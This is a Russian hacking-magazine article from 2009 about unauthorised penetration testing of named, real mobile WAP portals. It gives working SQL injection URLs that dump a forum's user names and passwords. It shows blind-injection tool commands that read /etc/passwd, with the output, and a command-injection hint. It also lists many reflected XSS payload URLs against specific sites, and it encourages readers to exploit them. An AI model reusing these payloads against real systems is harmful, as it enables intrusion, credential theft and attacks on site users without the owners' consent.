Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #132, ДЕКАБРЬ 2009 г.

Мобильный пентестинг. Поиск уязвимостей в современных WAP-сайтах


Самая главная особенность сайтов мобильного интернета заключается в том, что практически все они пишутся самостоятельно — никаких тебе опенсорс CMS, как в большом вебе. Отсюда вытекает сложность поиска багов, ведь исходники этих сайтов недоступны пытливому взору хакера.

Два года назад ты мог прочитать мою увлекательную историю о нахождении глупейших уязвимостей в крупных самописных порталах, ориентированных на просмотр прямо с экрана твоего мобильника. Настала пора проверить текущий уровень защищенности популярных WAP-проектов. Сперва я вкратце расскажу о некоторых изменениях в мобильном мире, которые произошли за последние пару лет:

1. Повальный переход на технологию WAP 2.0 (цветные xHTML-странички, которые теперь можно просматривать на компьютере не только с помощью Оперы) и, соответственно, уход в небытие WAP 1.1-1.3 с его черно-белыми WML-страницами (хотя в качестве опции он еще остался на многих сайтах);

2. Развитие социальных функций: знакомства, чаты, форумы — все, как в большом вебе;

3. Тотально возросший трафик (у кого сейчас нет мобилки с gprs/edge/3g/wifi/wimax/evdo и дешевыми тарифами?);

4. Загнивающий рынок продаж мобильного контента (в противовес этому вырос рынок мобильной рекламы, ты даже не представляешь, какие деньги там сейчас крутятся);

5. Огромнейшее количество халявного контента;

6. Приход в WAP специалистов разработчиков из большого веба, соответственно, повышенный уровень качества и безопасности скриптов.

Благодаря последнему пункту мое исследование получилось не таким легким, как я ожидал :).

Итак, для проведения пентестинга было выбрано наугад и жестоко изнасиловано разными хитрыми параметрами несколько топовых сайтов из популярных рейтингов waplog.net и top.wab.ru.

У Виталика

Одним из лидеров по количеству посетителей (5.5-6.5k уникальных хостов в сутки и стабильное 6-7 место в рейтинге top.wab.ru) является сайт vitalik.biz (не удивляйся такому странному домену — в вапе это в порядке вещей). Несмотря на явно отечественное название, сайт ориентирован на англоговорящих пользователей. Здесь присутствуют все необходимые атрибуты современных мобильных порталов: халявные загрузки, форум, чат, знакомства. Зная, что олдскульные сайты (а vitalik.biz работает с 2004 года) писались новичками в php, я сразу принялся за раскопки. Самым уязвимым местом оказался форум: при запросе http://vitalik.biz/forum/read_topic.php?UIN=Guest&pass=Guest&topic=1'&user=1305&room= моему взору открылась замечательная ошибка mysql :).

Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home2/ vitalikbiz/vitalikbiz/www/forum/ read_topic.php on line 216

После недолгих попыток подобрать количество столбцов и таблицу с юзерами у меня это получилось так:

http://vitalik.biz/ forum/read_topic. php?UIN=Guest&pass=Guest&topic=-99 +union+select+1,2,3,4,5,6+from+use rs%23&user=1305&room=

(Здесь %23 — это символ решетки в urlencode)

Цифра «3» выводилась прямо в теле поста. Теперь нужно было подобрать колонки с именем и паролем пользователя. Ими, как это ни странно, оказались «name» и «pass» :).

Итоговый запрос для вывода всех пользователей форума (а их было около 1500) выглядел следующим образом:

http://vitalik.biz/forum/read_topic. php?UIN=Guest&pass=Guest&topic=-99+union+sel ect+1,2,concat(name,char(58),pass),4,5,6+fro m+users+limit+100%23&user=1305&room=

Результат работы запроса ты можешь увидеть на скриншоте. Единственным огорчением от найденной баги было то, что она не позволяла работать с файлами. Но улов в полторы тысячи пользователей тоже был не такой плохой наградой.

От себя добавлю, что подобного рода ошибки даже в большом вебе встречаются очень редко, так что с сайтом мне сильно повезло.

Первые осложнения

Больше таких багов, как у Виталика, мне не попадалось, так что к поиску новых дырок на других сайтах пришлось приложить некоторые усилия. Следующей жертвой оказался портал vipfon.ru с посещаемостью 8-9k уникальных посетителей в день по рейтингу ваплога. Здесь уязвимым оказался скрипт http://vipfon.ru/serv_q/kumiry.pl?p=1&k=1&c=1':

Software error:
DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')AND(kumir_id=1)' at line 1 at /usr/home/ a81006/vipfon.ru/html/serv_q/kumiry.pl line 67.

К сожалению, на сервере была установлена какая-то ids, которая успешно резала любое присутствие ключевого слова union в запросе, так что легкого взлома не получилось. Итого, мы имеем слепую скуль-инъекцию, для начала работы с которой следовало подобрать true и false значения. Ими оказались следующие запросы:

true: http://vipfon.ru/serv_q/kumiry. pl?p=1&k=1&c=1+AND+1=1 — на экран выводится текст
false: http://vipfon.ru/serv_q/kumiry. pl?p=1&k=1&c=1+AND+1=2 — на экран ничего не выводится

Теперь мне необходим софт для работы с blind sql. Таковым послужил перловый скрипт Электа «Antichat SQL-tools for one_simvol_brut_columns v.1.1.1», описание и ссылку на который ты можешь найти в сносках. Единственным косяком являлось то, что софт позволяет выбрать формат комментария, но не позволяет выбрать его отсутствие (с комментариями запрос выдавал ошибку). Так что пришлось вносить кое-какие изменения в код скрипта:

было, линия 190:

if ( $opt_c==2 ) { $opt_c='#'; }

стало, линии 190-191

if ( $opt_c==2 ) { $opt_c='#'; }
if ( $opt_c==3 ) { $opt_c=''; }

Все готово для моих тестов :). Первым делом я узнал версию mysql: 5.1.32:

z:/usr/local/bin/perl.exe sql_ocb_111.
pl -u "http://vipfon.ru/serv_q/kumiry.
pl?p=1&k=1&c=1" -c 3 -a "Ghetto Gospel"

-c — наш формат комментария
-a — строка, которая присутствует при верном запросе

Затем я попытался вывести первые 150 символов файла / etc/passwd:

z:/usr/local/bin/perl.exe sql_ocb_111.
pl -u "http://vipfon.ru/serv_q/kumiry.
pl?p=1&k=1&c=1" -c 3 -a "Ghetto Gospel" -s
"load_file('/etc/passwd')" -L 1 -n 0 -N 150

-s — подзапрос, в данном случае загружаем файл /etc/passwd
-L — каким образом определяется длина строки
-n — начальный символ для брута
-N — конечный символ для брута

На удивление, содержимое первых 150 символов файла успешно сбрутилось :).

# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56
brooks Exp $
#
root:*:0:0:Charlie &:/root:/usr/
local/bin/bash
toor:*:0:0:Bourne-again Sup

Теперь следовало бы изучить исходники сайта на предмет более крупных багов, но это дело я оставляю тебе, ибо мне пора двигаться дальше.

P.S. Также на этом портале обнаружился намек на выполнение произвольного кода:

http://vipfon.ru/r_go.pl?q=;id|&vt=1257458294&ir=1 и еще одна скуль-инъекция:

http://vipfon.ru/news/lnews.pl?n=1'&t=all.

Первые разочарования

Далее в топ-50 рейтингов waplog.net и top.wab.ru нашлись лишь sql-инъекции, которые по каким-либо причинам мне не удалось раскрутить:

1. Vtakt.Ru (13k уникальных посетителей в день) — http://vtakt.ru/?c=goglobalsearch&rq =1&wh=1'.

Здесь кавычка заменяется на две кавычки — довольно необычная, но глупая защита от инъекций. Тем не менее, мне удалось составить верный запрос, исходя из этого формата: http://vtakt.ru/?c=goglobalsearch&rq=1&wh =%5C',',',',')%23.

Скорее всего, это был INSERT-запрос, так что в итоге вторая часть инсерта выглядела следующим образом:

VALUES('\','','','','')#, '1', '2009.11.06', '06:40:42', '1257478842')

Странным оказалось то, что при верно составленном запросе сайт не только не выводил на экран данные, но и ненадолго уходил в даун (профит из баги все-таки есть — это банальный отказ в обслуживании).

2. Prezika.Net (очередное классное название домена и почти 20k уников в день) —

http://prezika.net/book.php?f=Poterya_devstvennosti/kollekciya1&d=553&SID=1&rnd=8010'.

Тут засада была в том, что скуля находилась в последнем параметре INSERT-запроса, а также версия мускула не позволяла провернуть фишку с «on duplicate key update»:

----------ERROR(5833)------------
Class: MysqlSmartQuery.
File: /opt/home/prezika/www/book.
php
Function: QUERY.
Error message: Query failed!
Query: INSERT IGNORE INTO `wpu_
rst`
(`module`,
`post_id`,
`referer`
) VALUES (
'book',
'553',
'/book.php?f=Poterya_
devstvennosti/
kollekciya1&d=553&rnd=8010''
)
E_MYSQL: You have an error
in your SQL syntax; check the
manual that corresponds to your
MySQL server version for the
right syntax to use near ''/book.php?f=Poterya_devstvennosti/kollekciya1&d=553&rnd=8010''
' at
line 8
-----------END_ERROR-

Новая жизнь старых багов

Настало время для небольшого, но очень важного отступления. Как ты уже знаешь, основная масса мобильных порталов давно перешла на технологию WAP 2.0, и, как оказалось, с приходом xHTML в мобильном интернете крайне остро проявилась проблема банального XSS! Внимательный читатель скажет: «но ведь спецификация WAP 2.0 не поддерживает JavaScript?». Это утверждение было бы верным, если бы не два больших «но»:

1. Браузеры современных мобильных телефонов (особенно смартфонов, а также мобильная Опера) вполне успешно поддерживают javascript в теле xHTMLдокумента, не выдавая никакой ошибки.

2. Все больше обычных веб-юзеров посещают сайты мобильного интернета с домашнего компьютера (в том числе и админы вап-сайтов — наша основная цель).

Принимая во внимание эти факты, можно смело писать массовые эксплойты под обилие уязвимостей кросс-сайт скриптинга на мобильных порталах, создатели которых и не подозревали о проявлении такого рода багов в WAP :).

Смотри сам.

1. Spaces.Ru (450k уников): http://spaces.ru/diary/?t=14;na me=Edinstvennost;sid=1998668821 293105;read=1236483698;topics_p =1;p=1;cp="><script>alert(111)</ script><"&from=diaries;order=0

2. Smartu.Net (10k уников): http://smartu.net/f/detail.php? dir=ZmFfd2lubW9iaWxlL2dhbWVz&fi le=QXN0ZXJpeEFuZE9iZWxpeEVuY291b nRlckNsZW9wYXRyYV92Mi4xLjAoVkdBK S5yYXI=&M="><script>alert(111)</ script><"&sort=date&fw=lz --http://smartu.net/f/comment. php?start=25&dir=ZmFfM3JkX2 VkL3NvZnQvaW50ZXJuZXQ=&fil e=Opera_Mobile_v10.0.275en. sis&M="><script>alert(111)</ script><"&sort=&fw=l

3. Sever.Ru (70k уников): http://sever.ru/icq/user/ login.php?sid=6104b1ef7460 e1a8201aac92f5e81eb9&usern ame="><script>alert(111)</ script><"&password=1

4. Waprik.Ru (23k уников): http://waprik.ru/download/read. php?read=files/!Smartfonam/!St atqi_dlya_Smartov/!Sekretnyee_ kody_smartfonov.txt&id=9638 6&id2="><script>alert(111)</ script><"&dirnamegg=1 --http://waprik.ru/temy/index. php?f=Sony_Ericsson/K770,_ K790,_K800,_K810,_W580,_W830,_ W850,W880,_S500,_T650(part2)/!An imirivannyee/&v="><script>alert( 111)</script><"

5. Glammy.Ru (20k уников): http://wap.glammy.ru:8080/ authorized/journalRating.jsp;js essionid=D86B36AD620E2DF5E33894 5B9887AE85?r="><script>alert(11 1)</script><"&r=1257457117009&c= 2&c=2&page=2 --http://wap.glammy.ru:8080/ authorized/viewGallery.jsp; jsessionid=D86B36AD620E2DF5 E338945B9887AE85?id=118877& c=2&r="><script>alert(111)</ script><"&type=1&page=1 --http://wap.glammy.ru:8080/ authorized/newbieRating.jsp;jses sionid=D86B36AD620E2DF5E338945B9 887AE85?r=1257457111983&r=125745 7111991&c=2&c="><script>alert(11 1)</script><"&page=2 --http://wap.glammy.ru:8080/ authorized/viewFriends.jsp;jsess ionid=D86B36AD620E2DF5E338945B98 87AE85?id=118877&c="><script>ale rt(111)</script><"&r=12574571427 09&page=2

6. Vtakt.Ru (уже знакомый тебе сайт буквально кишит XSS): http://vtakt. ru/?c="><script>alert(111)</ script><"&qwr=answer_ comment&cim_id=4601&ct=4&im_ id=188 --http://vtakt.ru/?c=photodview&tp =><script>alert(111)</script><&a b=&ph=125745658333148 --http://vtakt.ru/? c=del_comment&cim_ id="><script>alert(111)</ script><"&ct=4&im_id=188 --http://vtakt.ru/?c=lg&qwr=lg&qw r=commview&ct="><script>alert(11 1)</script><"&im_id=188 --http://vtakt.ru/?c=forumtopicme ss&&lb=102&fe="><script>alert(11 1)</script><"&ta=1 --http://vtakt.ru/?c=lg&qwr=forum topiclist&lb="><script>alert(11 1)</script><"&ta=1 --http://vtakt.ru/?c=lg&qwr=online helplistdet&sdd="><script>alert( 111)</script><"

7. Wse.Su (9k уников): http://wse.su/downloads/index. php?f="><script>alert(111)</ script><"

И это далеко не все, так что запомни: xssуязвимостям в вапе быть!

ЗЛОКЛЮЧЕНИЕ

В наше время создатели мобильных порталов стали настоящими специалистами в сайтостроении и уже более ответственно относятся как к себе, так и к своим пользователям. Это видно по тому, какие типы уязвимостей остались в мобильном интернете спустя несколько лет: lfi и rfi исчезли как класс, скуль-инъекции остались, но тихо вырождаются, чтение произвольных файлов есть, но крайне труднодоступно для обнаружения. Зато все эти печальные факты с лихвой компенсируются зарождением мобильного кросс-сайт скриптинга! Здесь открывается совершенно новая стезя для пытливого вап-хакера, так что дерзай, и твои старания окупятся сторицей.

Links

• forum.antichat.ru/showpost.php?p=236186&postcount=2 — Antichat SQLtools for one_simvol_brut_columns v.1.1.1.
• forum.antichat.ru/thread19844.html — подробно о сложных SQL-инъекциях.
• waplog.net — самый популярный рейтинг вап-сайтов.
• top.wab.net — старый и известный мобильный рейтинг.
• top.bodr.net — еще один известный рейтинг.

Содержание